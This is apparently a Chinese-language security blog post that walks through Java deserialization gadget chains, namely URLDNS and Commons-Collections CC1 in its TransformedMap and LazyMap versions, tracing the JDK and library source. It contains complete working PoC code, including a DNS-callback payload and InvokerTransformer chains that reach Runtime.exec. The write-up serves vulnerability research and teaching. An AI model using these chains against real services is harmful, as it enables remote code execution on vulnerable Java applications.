序言
温故而知新。
站在巨人们的肩膀上,总结Java反序列化漏洞利用链,会持续更新。
同步项目:Gadgets
写在最前面 Java反序列化RCE三要素:readobject反序列化利用点 + 利用链 + RCE触发点 。
审计maven仓库里面的jar包时,记得先拿到源码:
点右上角download source
下载pom.xml里面声明的依赖jars:mvn dependency:resolve -Dclassifier=sources
JD-GUI
…
readObject源码分析 梦开始的地方。
正常使用反序列化,就会执行java.io.ObjectInputStream类中的readObejct方法。
重点分析readObject0方法,它是核心方法。 跟进去看:
这里最重要的是进行了对象类型的选择,根据不同类型执行操作。
这里会先执行readOrdinaryObject方法,unshared是false。
进去看看:
看到点眉目了,readSerialData其实才是真正反序列化对象 ,进入readSerialData函数看看:
到这里,可以理清整个过程的关键步骤了。
在readSerialData中比较关键的是这个判断条件:
其中slotDesc.hasReadObjectMethod()获取的是readObjectMethod这个属性,如果反序列化的类没有重写readobject(),那么readObjectMethod这个属性就是空 ,如果这个类重写了readobject(),就会执行readObject()方法。
所以这也就是为什么,挖掘这类漏洞,上来第一件事就是要:找到哪些类有重写readObject()方法 。
2021.5.24更新
最近发现有个神奇的方法defaultReadObject
他的javadoc如下:
前面写到:
读取非静态和非transient修饰的属性,并且只能被readObject方法调用
懵懵的,写个demo实验一下:
会输出:
可以看到,Example类自己实现了readObject方法,并且在它内部还有一个defaultReadObject
方法。
我们把它删掉会怎样?
答:这次输出是null,也就是s属性没有被序列化出来
所以defaultReadObject
的作用就是执行流中对象默认的readObject方法,将对象的field反序列化出来。
还发现一个细节,为什么defaultReadObject的参数是一个ObjectInputStream参数?
看下图,是因为如果一个类自己实现了readObject方法,内部机制会invoke这个方法,参数就是当前流。
一句话总结,defaultReadObject
方法一般用于自己实现的readObject方法中,需要一个流对象作为参数。
用来执行流中对象默认的readObject方法,将对象反序列化出来。
如果我们自定义序列化过程仅仅调用了这个方法而没有任何额外的操作,这其实和默认的序列化过程没任何区别。
多说几句:
有了defaultReadObject方法之后,就可以用户自主控制反序列化过程了。
比如说一个字段是加密的,我们可以在readObject方法中先调用defaultReadObject方法来将其他字段来正常反序列化出来,再在最后执行加密字段的追加append。
URLDNS
readobject反序列化利用点 + DNS查询,主要用来确认反序列化漏洞利用点的存在。
最适合新手分析的反序列化链。ysoserial的一部分。
只依赖原生类,没有jdk版本限制。
dnslog平台可以选择:DNSLog.cn ,ceye ,我选择了DNSLog。
漏洞复现 jdk版本:jdk8u162,网上PoC很多,这里用lalajun 师傅的为例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class URLDNS { public static void main (String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://oh6pfs.dnslog.cn" ); Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 0xdeadbeef ); hashMap.put(url, "rmb122" ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin" )); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin" )); ois.readObject(); } }
成功触发dns查询记录:
漏洞分析 三要素:HashMap / URL / HashCode
大体流程:
new一个HashMap对象,key-value对为URL-String类型,key设置为我们的dnslog的地址
暴力反射,将URL类的hashCode字段改为public,默认是private
将url对象的hashCode字段随便改成一个值
将url对象放入HashMap中作为key,value也随便写一个
将f对象的hashCode字段改为-1,触发漏洞
最终的payload结构是 一个HashMap,里面包含了 一个修改了hashCode为-1的URL类对象。
由于HashMap类自己有实现readObject方法,那么在反序列化过程中就会执行他自己的readObject。
搞懂HashMap
HashMap 可以看作是一个链表散列的数据结构 , 也就是数组和链表的结合体.
对于主干来说,当要存放一个entry的时候,步骤如下:
计算key的hash:hash(k)
通过hash(k)映射到有限的数组a的位置i
在a[i]的位置存入value
自然就会想到,如果哈希冲突了怎么办? HashMap对于不同的元素,如果hash值相同,会采用链表指针的方式来挂在后面。
HashMap的主干是一个Entry数组 ,主干数组的长度一定是2的次幂。
Entry是HashMap的基本组成单元,每一个Entry包含一个key-value键值对。(其实所谓Map其实就是保存了两个对象之间的映射关系的一种集合)
看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 transient Entry<K,V>[] table = (Entry<K,V>[]) EMPTY_TABLE;static class Entry <K ,V > implements Map .Entry <K ,V > { final K key; V value; Entry<K,V> next; int hash; Entry(int h, K k, V v, Entry<K,V> n) { value = v; next = n; key = k; hash = h; }
看图:
HashMap.readObject() 看源码(跳过一些初始化操作):
putVal是向Map存放Entry的操作,在放入时会计算key的hash 作为转化为数组位置i 的映射依据。
DNS查询正是在计算URL类的对象的hash的过程中触发的 ,即hash(key) 。
看hash()方法源码:
不同对象的hash计算方法是在各自的类中实现的,如果传入的key是一个URL对象,这里key.hashCode()就会调用URL类中的hashCode方法:java.net.URL#hashCode。
java.net.URL#hashCode 源码:
仔细看,用到了两个field:
transient URLStreamHandler handler; // handler是一个transient临时类型,它不会被反序列化(但之后会用到)
private int hashCode = -1; //hashCode是private类型,需要手动开放控制权才可以修改。
1 2 3 4 5 6 7 8 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
那就继续看handler所属的类:URLStreamHandler
getHostAddress也是限制了IP地址不会解析:
这里面必须提一下上面的hostAddress参数,如果 Host 字段为一个域名 , 且我们之前解析过这个域名 , 那么程序会将解析后的 IP 地址缓存到 hostAddress 参数中 , 当我们再次请求时 , 由于 hostAddress 已有值 , 就不会走完剩下的 POP Chain 了。
继续跟,会到java.net.InetAddress#getAllByName()这个方法:
进入getAllByName0:
总结一下到目前为止可以利用的调用链 :
HashMap.readObject() -> HashMap.hash()
HashMap.hash() -> URL.hashCode()
URL.hashCode() -> URLStreamHandler.hashCode()
URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
URLStreamHandler.getHostAddress() -> InetAddress.getByName() -> … -> getAddressFromNameService()
漏洞利用 满足两个条件:
为了能走到URL.hashCode(),要保证map里面存放着一个Entry,这个Entry的key满足URL类型
为了能走到URLStreamHandler.hashCode(),需要hashCode这个field为-1,绕过if判断
往前翻PoC:
1 2 3 4 5 ... f.set(url, 0xdeadbeef ); hashMap.put(url, "rmb122" ); f.set(url, -1 ); ...
为什么这里首先给url的hashCode属性先设置成一个值,put到map之后,再改成另一个值?
这里我们先做一件事,看一下之前提到的HashMap.readObject()方法:
这里面的s其实是ObjectInputStream对象。既然key和value都是从s.readObejct()方法出来的(之后进行了cast强转),那我们先看一下对应的HashMap.writeObject方法:
跟到internalWriteEntries方法:
可以看到,分别对entry内部的key和value进行了writeObject,tab的值即HashMap中table的值,也就是横向数组。
想一下,如果你想向一个HashMap中存放一个entry,那么就要执行HashMap.put()方法:
再看一下HashMap的put方法:
可以看到,这里用到了HashMap.hash()方法,如果这里面的key就是URL,那么后续利用链就能接上。
也就是说,仅仅一次put操作,就会触发一次DNS查询 。
1 2 3 4 5 6 7 public class DNSTest { public static void main (String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL(your_dns_url); map.put(url,123 ); } }
这里就可以回答之前的问题:
为什要改两次,因为我们要规避掉put操作产生的DNS查询。
之后再改回-1,是为了可以成功触发反序列化时候的漏洞。
也就是这里还有一条小链:
HashMap.put() -> HashMap.hash()
HashMap.hash() -> URL.hashCode()
…
触发DNS查询
ysoserial实现版本 十分优雅
这里首先有一个SilentURLStreamHandler对象,跟进去看看:
可以发现这个类其实就是继承URLStreamHandler类,并且把这两个方法改成了返回null,这样就规避了在生成payload的时候的那一次DNS查询,也就是我们之前看到的HashMap.put的那次操作。
这次put的时候,由于handler是SilentURLStreamHandler类,完全不会出发DNS解析,实在是妙。
Commons-Collections “不是夸你们Oracle呢,CC链确实让我们没饿死”
这里主要是ysoserial已经有的cc1-7漏洞,以及记录一些其他师傅们发现的。
cc的背景可以去看之前的文章 温习。
cc1 条件:
cc3.1~3.2.1
jdk 1.7 (8u71之前都可以)
maven:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > </dependencies >
预备知识:
动态代理 ,一句话总结就是:动态代理直接调用接口的方法,无需实现类 。
反射
主流两个版本:TransformedMap,LazyMap
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class CommonsCollections1_TransformedMap_Exploit { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class , Map .class ) ; ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class , outerMap ) ; ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc1_transformedMap.ser" ))); fout.writeObject(instance); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc1_transformedMap.ser" ))); fin.readObject(); } }
其他小型触发:
1 2 3 4 ... Map map = new HashedMap(); Map transformedMap = TransformedMap.decorate(map,chainedTransformer,null ); map1.put(1 ,1 );
1 2 3 4 5 6 7 8 9 10 11 ... Map innerMap = new HashMap(); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar" );
利用链寻找 这里我想从漏洞挖掘的角度去写,毕竟这是个老洞,我们更应该关注的是如何找到的。
还是那句话,上来找readObject复写点,非常多!只不过我们现在关注TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。
翻看commons-collections的文档可以发现:
该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换(transform)方法,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
举个例子获得一个TransformedMap的实例,可以通过TransformedMap.decorate()方法:
1 Map tansformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
可以看到三个参数,map,keyTransformer,valueTransformer
翻译过来:当TransformedMap内的key或者value发生变化时,就会触发相应参数的Transformer的transform()方法。
其实这句话值得引起我们的怀疑,transform参数是否可控 ?
索性去找Transformer类,发现是一个接口,只有一个transform方法,find implementation(option+cmd+B),一共14个:
先看第一个,ChainedTransformer:
这里的iTransformer属性是一个Transformer[]数组,并且发现在ChainTransformer的transform函数中,会依次对该数组里面的transformer依次进行transform方法(不同的Transformer实现类实现的transform不同,多态)。
而且这里有一个细节就是:
1 object = this .iTransformers[i].transform(object);
这条语句放在了一个循环里面。
这也就导致上一次tranform方法的结果返回值会作为下一次transform的参数 ,越来越有链的感觉了!
世界线展开
这时候我们可以寻找invoke函数的调用点。
其实这里我认为我们始终离不开找invoke这样的sink点环节,碰巧发现在InvokeTransformer有invoke方法的使用:
哦这熟悉的反射味道,血压拉满!
如果这里input是可控的,按逻辑走,会获得input的Class对象,下一步想获取method对象,但是发现有两个参数iMethodName和iParamTypes。
往前翻构造函数:
InvokerTransformer类就是今天的主角,因为他有RCE触发点。
InvokerTransformer这部分我们先按下不表,接下来就要寻找哪些方法可以调用InvokerTransformer类呢?逃不开之前找到的14个Transformer,因为他们实现了Transformer这个接口,都现实了transform方法。
我们接下来要找transform方法在哪被调用了:
看TransformedMap内部:
只有这三处调用了transform方法。
前两个都是本类方法,但是第三个checkSetValue方法是一个抽象方法,属于AbstractInputCheckedMapDecorator的抽象方法,它一共有两个类实现,TransformedMap算一个:
查找checkSetValue方法在哪可以被调用,发现在内部类MapEntry的setValue方法中调用了:
也就是说,只要一个类A继承了抽象类AbstractInputCheckedMapDecorator,那么A就会有内部类A.MapEntry,就可以A.MapEntry.setValue()执行方法。
我们的TransformedMap就是这样的一个A
寻找实现AbstractInputCheckedMapDecorator的类,一共有4个:
正好TransformedMap算一个。所以它既是readObejct复写点又是执行链的起点
世界线收束
构造PoC 经典一句话,弹计算器:
1 Runtime.getRuntime().exec("open /Applications/Calculator.app" );
反射写法:
1 2 Class clazz = Class.forName("java.lang.Runtime" ); clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "open /Applications/Calculator.app");
不清楚的可以看之前的博客
那现在要如何构造这句话呢?
首先上一部分我们发现了InvokerTransformer有invoke触发点,用反射来出发。
重要的是每个参数如何对应赋值,看InvokerTransformer的第二个构造方法:
我们“一句话”到执行函数是exec,回去看看:
exec的参数类型是String,所以InvokerTransformer构造函数的三个参数分别是:
methodName = “exec” => iMethodName
paramTypes = “new Class[]{String.class}” => iParamtypes
iArgs = “new String[]{“open /Applications/Calculator.app”}” => iArgs
所以尝试写一个demo1.0:
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws Exception { InvokerTransformer it = new InvokerTransformer( "exec" , new Class[]{String.class }, new String[]{"open /Applications/Calculator.app"} ); Object input = Class.forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" )); it.transform(input); }
问题来了,不会有人可以写好一个input在代码中等你,所以input需要写进payload。
所以接下来我们要去找:哪些类可以把input塞进去 ?
由于这里input依赖了反射,所以我们最好在jar包里找到一个invoke的复写点,直接全局搜invoke,发现只有InvokerTransformer自己。
所以这里我们需要将input拆开,为了依赖不同的组件 。
想法就是既然你ChainedTransformer的transform可以循环调用 Transformer数组内的不同tranform方法,那么我们也去找若干个Transformer来将input分别承担。
首先我们感觉肯定是越简单越好,最好是直接出现一个Transformer可以直接返回一个Runtime.getRuntime()
这样第二步直接new InvokerTransformer()就可以了:
1 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})
相当于:
1 Runtime.getRuntime().invoke(method(exec),"open /Applications/Calculator.app" )
寻找Transformer的实现类14个:
我们只想要一个Transformer帮我们承担Runtime.getRuntime()即可,其他最好什么都不做。
发现ConstantTransformer最合适:
完全都是简单的传递。
所以这时候demo2.0出现了:
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null );
但是这版本仅仅在本地可以测试,因为Runtime类没有实现Serializable接口,所以无法传输。
所以我们就需要反序列化那一端机器的Runtime实例。
继续拆分:
1 2 3 4 5 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ),//先得到Class 对象,Class 支持Serializable new ConstantTransformer("getRuntime",new Class[]{},new Object[]{}),//得到getRuntime方法对象 new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"})//将这个方法对象套在exec上 };
讲道理这样是可以的,但是实际上还是不行:
因为在InvokerTransformer的tranform中:
上来先input.getClass了,别忘了我们给的东西是Runtime.class,那结果肯定是Class对象java.lang.Class。
在java.lang.Class中寻找getRuntime对象肯定是找不到的。
所以这时候需要换一个思路:先拿到梯子,这里面的梯子就是getMethod方法
目标语句:
1 2 目标语句 Class.forName("java.lang.Runtime" ).getMethod("getRuntime" )
1 2 3 4 5 6 7 8 9 4 步走1 .先获得getMethod的方法对象,这个方法在java.lang.Class中Method gm = Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class }) 2 .拿到之后,需要把getRuntime函数取出来。因为getMethod方法的作用就是返回一个method对象,所以直接invoke就行Method gr = gm.invoke(Class.forName("java.lang.Runtime" ),"getRuntime" ,new Class[]{}); 3 .准备用gm去把invoke引出来Method i = gm.invoke(Class.forName("java.lang.reflect.Method" ),"invoke" ) 4 .组合到一起i.invoke("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"})
晕的可以往下看:
失败版构造:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ),//先获取Runtime 实例 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"}) };
InvokerTransformer的参数包括(方法名a,a的参数类型,invoke的参数{对象,对象参数})
我们认为可以,但实际上还是不行,原因:
在第二步出来之后,object是getRuntime,是method对象,一个Method对象是不能调用exec()的
所以我们这里还需要invoke 函数的参与
所以我们还需要再来一步得到invoke函数:
1 2 3 4 5 6 7 8 9 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ),//先获取Runtime 实例 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }), new InvokerTransformer("invoke", new Class[]{String.class,Object[].class}, new Object[]{null,new Object[]{}}) new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"}) };
这里重点记录一下invoke环节的debug过程:
1 2 3 4 Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
最后一步其实就是:
1 invoke.invoke(getRuntime(),new Object[]{null ,new Object[]{}});
发现一个骚东西:
1 2 3 invoke.invoke(a,{b,c}) a.invoke(b,c) b.a(c)
套用在最后一句上:
1 2 invoke.invoke(getRuntime(),null ); getRuntime().invoke(new Object[]{null ,new Object[]{}})
这里为什么null可以呢?
是因为getRuntime函数是static的,根本不需要obj来hold。
所以这里这两种写法都可以 :
1 2 new InvokerTransformer("invoke", new Class[]{String.class,Object[].class}, new Object[]{null,new Object[]{}}) new InvokerTransformer("invoke", new Class[]{String.class,Object[].class}, new Object[]{Class.forName("java.lang.Runtime"),new Object[]{}})
多说一句:
1 getRuntime().invoke(new Object[]{null ,new Object[]{}})
这句话相当于:
1 2 getRuntime() 后面都是寂寞 getRuntime() => Runtime 实例
既然能返回Runtime实例,目标达成。
第四步debug:
1 2 3 4 Class cls = input.getClass(); Method method = cls.getMethod("exec" , new Class[] {String.class }) ; return method.invoke(input, "open /Applications/Calculator.app" );
所以目前demo3.0:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[]{}}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null ); }
我们最想要的是,transform方法最好也要自动触发,所以发现了checkSetValue方法,它会自动调用transform方法。
checkSetValue方法属于每一个继承了AbstractInputCheckedMapDecorator的类,TransformedMap算一个。
所以接下来我们的目标就变成了如何让TransformedMap自动调用transform方法 。
我们的ChainedTransformer说到底就是一个Transformer,只要添加数据至map中就会自动调用tramsform,就会执行转换链执行payload。
这样我们就可以把触发条件从显性的调用转换链的transform函数 延伸到修改map的值 。很明显后者是一个常规操作,极有可能被触发。
举个例子获得一个TransformedMap的实例,可以通过TransformedMap.decorate()方法:
1 Map tansformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
可以看到三个参数,map,keyTransformer,valueTransformer。
查看org.apache.commons.collections.map.TransformedMap#decorate源码:
到这里,触发条件就是更改map的值(key或者value)即可。
寻找readObject复写点 感觉还是奇怪,需要服务端配合将反序列化内容反序列化为map,并对值进行修改。
如果某个可序列化的类重写了readObject()
方法,并且在readObject()
中对Map类型的变量进行了key-value修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。
在1.7中存在一个完美的复写点:sun.reflect.annotation.AnnotationInvocationHandler
关于AnnotationInvocationHandler类,这个类本身是被设计用来处理Java注解的。
看两处源码关键点:
补充 为什么要传入Target.class?
Target是Java提供的四个元注解之一(Target,Documented,Inherited)
1 var2 = AnnotationType.getInstance(this .type)
我们回来看AnnotationType.getInstance(this.type)
对@Target这个注解的处理。var2=getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等。
1 var3 = var2.memberTypes();
var3就是var2的键值对类型,可以取值Ljava.lang.annotation.ElementType
类型的值。
这里其实占了Java注解的语法糖的便宜,Java注解默认都是value = XXXX,相当于蹭了个谐音梗。
为什么一定要Map(“value”, “value”)?
因为在
1 Map var3 = var2.memberTypes();
这就保证了在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { var5.setValue... } } }
保证innerMap.put("value","xxxxxx")
也是可以的,只要key的值为”value“就行。
su18师傅斧正 su18师傅纠正我,其实这里并不一定是Target.class。。。
比如这里换成另一种注解:Generated.class
我们选最下面这个字段“comments”,那这个版本就是:
debug跟一下:
这里和之前一样,var3是map,var4是迭代器,我们的终极目标是执行setValue
var5就是entry,var6就是key(String类型),var7就是var3中var6对应的value,是String.class这个类对象。
var8是entry中的value,如果我们要执行setValue
,就必须让var7.isInstance(var8)==false
也就是说:
var8不能是String类型 ,所以这里HashMap的value不能再是“value”了,比如可以改成3,int类型就是可以的。
最终版本PoC 最终版本PoC构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class CommonsCollections1_TransformedMap_Exploit { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class , Map .class ) ; ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class , outerMap ) ; ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc1_transformedMap.ser" ))); fout.writeObject(instance); ObjectInputStream fin = new ObjectInputStream(new FileInputStream(new File(System.getProperty("user.dir" )+"/src/main/resources/Payload_cc1_transformedMap.ser" ))); fin.readObject(); } }
总结 挖掘流程:
找readObejct复写点,发现了TransformedMap实现了,进去看一看,留个心
阅读文档,发现TransformedMap机制是一旦该Map中的元素发生了变化,都会调用Transformer的transform方法
发现Transformer的transform就是个接口中的方法
依次查看Transformer的实现类,发现ChainedTransformer中的transform会成环调用自身Transformer数组中的Transformer
[支线任务开启]寻找invoke调用2点,发现InvokerTransformer内部的transform方法符合反射调用,有可控潜力
为了符合exp的构造条件,发现ConstantTransformer可以参与
将一句话分别由多个Transformer来hold,形成了ChainedTransformer,为了让ChainedTransformer.transform可以自动化调用,下一步需要去找哪里用了transform方法
查看transform的调用,发现TransformedMap类中有checkSetValue方法调用了transform方法
同时发现checkSetValue是抽象类AbstractInputCheckedMapDecorator的方法,同时该类内部静态类MapEntry的setValue方法调用了checkSetValue方法
实现AbstractInputCheckedMapDecorator的类有四个,TransformedMap算一个。所以TransformedMap1既是readObject复写点,又是执行链的起点(更改map中的值)[支线任务结束]
如何来自动更改值,还是去找readObejct复写点,发现AnnotationInvocationHandler十分合适,既复写了readObject,又修改了map的值,可以包装到最外面
编写Exp
Exp利用流程 :
AnnotationInvocationHandler#readObject函数会在反序列化中被执行,并且会触发TransformedMap$EntrySet的setValue赋值。
EntrySet的构造函数是Set和AbstractInputCheckedMapDecorator类型。
由于TransformedMap继承了AbstractInputCheckedMapDecorator类,也就继承了AbstractInputCheckedMapDecorator内部的setValue方法。
setValue就是AbstractInputCheckedMapDecorator.MapEntry#setValue,他的内部会调用checkSetValue方法。
这里面的map是TransformedMap,所以TransformedMap版本的checkSetValue会调用transform方法,这个transform会调用TransformedMap自身的ConstantTransformer数组,循环调用。这个ConstantTransformer是通过decorate函数将ConstantTransformer配置进去的,最终payload执行。
这里值得细细地跟一下,TransformedMap并不是Map
this.memberValues = [TransformedMap outMap] = (<”value”,”value”>,chain)
TransformedMap自己没有entrySet,所以会执行距离它最近的父类的entrySet方法。
也就是AbstractInputCheckedMapDecorator的entrySet方法:
这里map的值为HashMap<”value”,”value”>,this是本类对象 TransformedMap outMap
调用的是本类内部类EntrySet的构造函数
所以这个Entry函数ruturn回去就是一个AbstractInputCheckedMapDecorator$EntrySet的对象,结构是(注意他们的类别):
<<”value”,”value”>,outMap>就是var5
接下来会执行iterator方法,这个方法AbstractInputCheckedMapDecorator#EntrySet也做了实现:
可以看出,实现了对collection的迭代器和parent的操作
跟进去看EntrySetIterator的实现:
返回一个迭代器就是var4,是。
接下来,var5=var4.next()
跟进去next方法:
好家伙,直接返回了一个MapEntry,entry是entry,parent一直都是TransformedMap outMap
这下终于理清了,是cc直接搞得鬼。
var5就是AbstractInputCheckedMapDecorator$MapEntry类
接下来之后对var5进行setValue调用,由于var5是AbstractInputCheckedMapDecorator$MapEntry对象,所以会执行自己的setValue方法:
由于这里parent一直是TransformedMap对象outMap,所以调用的是TransformedMap的checkSetValue方法:
可以看到,这时候outMap一直帮我们存着的chain原来放在了valueTransformer的属性里,也就自然会被执行了。
接下来就是熟悉的情节了:
触发。
LazyMap版本 LazyMap也调用了transform方法。
利用链寻找 对Transformer接口中的transform方法find usage:
get方法首先判断map中是否已有该key,如果不存在,最终会到factory.transform进行处理。
能发现decorate方法可以new一个LazyMap方法,如果factory可控,就很有搞头了。
接下来要找找哪些方法会调用LazyMap的get方法(最好是readObject内部会用到,最契合的条件,可惜没有)
坑点记录:记一次对线rt.jar
发现AnnotationInvocationHandler内部的invoke调用了get方法:
我们可以发现在这个类中,memberValues是Map对象,并且有对map的get操作。
LazyMap也是Map的子类,重写了get方法,所以这里如果memberValues是LazyMap类对象,会成功调用LazyMap的get方法,就可以触发漏洞。
所以如何触发这个invoke函数呢?
PoC构造 需要依赖动态代理,参考之前的博客 :
总结就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler的invoke方法。
写个小例子好理解:
目前已有条件:
AnnotationInvocationHandler的readObject方法可以触发setValue,
cc里面很多Map的setValue方法可以调用transform方法
LazyMap的invoke可以调用Map.get方法,LazyMap重写的get方法可以触发transform方法
ChainedTransformer的transform方法可以将里面InvokerTransformer的内容进行成环invoke触发
这个感觉就像:
handler是一个InvocationHandler类对象,他内部有invoke方法
我们可以做一个代理类a,让这个代理类代理LazyMap对象,handler也参与,负责invoke
这样的话,无论以后a调用了LazyMap内部的任何方法,他都会先走一遍handler的invoke方法。
注意最后一句话,我们想让”他都会先走一遍handler的invoke方法”,handler的invoke方法 ,就是LazyMap的invoke方法 。
抱着这个目标,我们还可以发现:
AnnotationInvocationHandler继承了InvocationHandler,它也可以当动态代理,也可以作为handler
所以我们可以:
先拿到AnnotationInvocationHandler的构造函数cons
先用cons做一个AnnotationInvocationHandler的实例h1,h1的memberValues属性是一个LazyMap(包装好innermap和chain)
再用h1参与Proxy.newProxyInstance,去做一个LazyMap的代理实例mapProxy
再用cons去做一个AnnotationInvocationHandler的实例h2,h2的memberValues属性是mapProxy
这时候h2作为payload,参与序列化操作。
我们主要关注反序列化:
断点下到第一个readObject位置,java.io.ObjectInputStream#readSerialData:
slots数组里面的内容就是h2,可以看到类型是AnnotationInvocationHandler
接下来会走到java.io.ObjectInputStream#invoke方法,可以看到ma=readObject,obj=h2
先在AnnotationInvocationHandler.readObject下断点,然后over-step:
果然进入到readObject方法,理论上现在this.memberValues就是我们传进来的mapProxy参数。
mapProxy是一个动态代理,它代理了LazyMap这个类,handler是h1。
那么这里一但mapProxy调用了任何方法,都会走handler(h1)的invoke方法,this.memberValues.entrySet()就是一次调用
这里可以先在AnnotationInvocationHandler类的invoke处下一个断点,然后step-over:
这里继续往下看,发现AnnotationInvocationHandler类的invoke调用了this.memberValues.get():
这会再一次触发h1的invoke函数,并且现在this.memberValues的值为h1的参数,类型是LazyMap,factory就是lazymap属性,就是我们传进去的chain,的那么就会进入LazyMap.get方法:
LazyMap.get内部就会有transform方法:
如果当前factory是我们的chain,那就会触发RCE。
1 2 3 4 5 6 7 ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this .memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this .memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InvokerTransfomer.transform() -> RCE
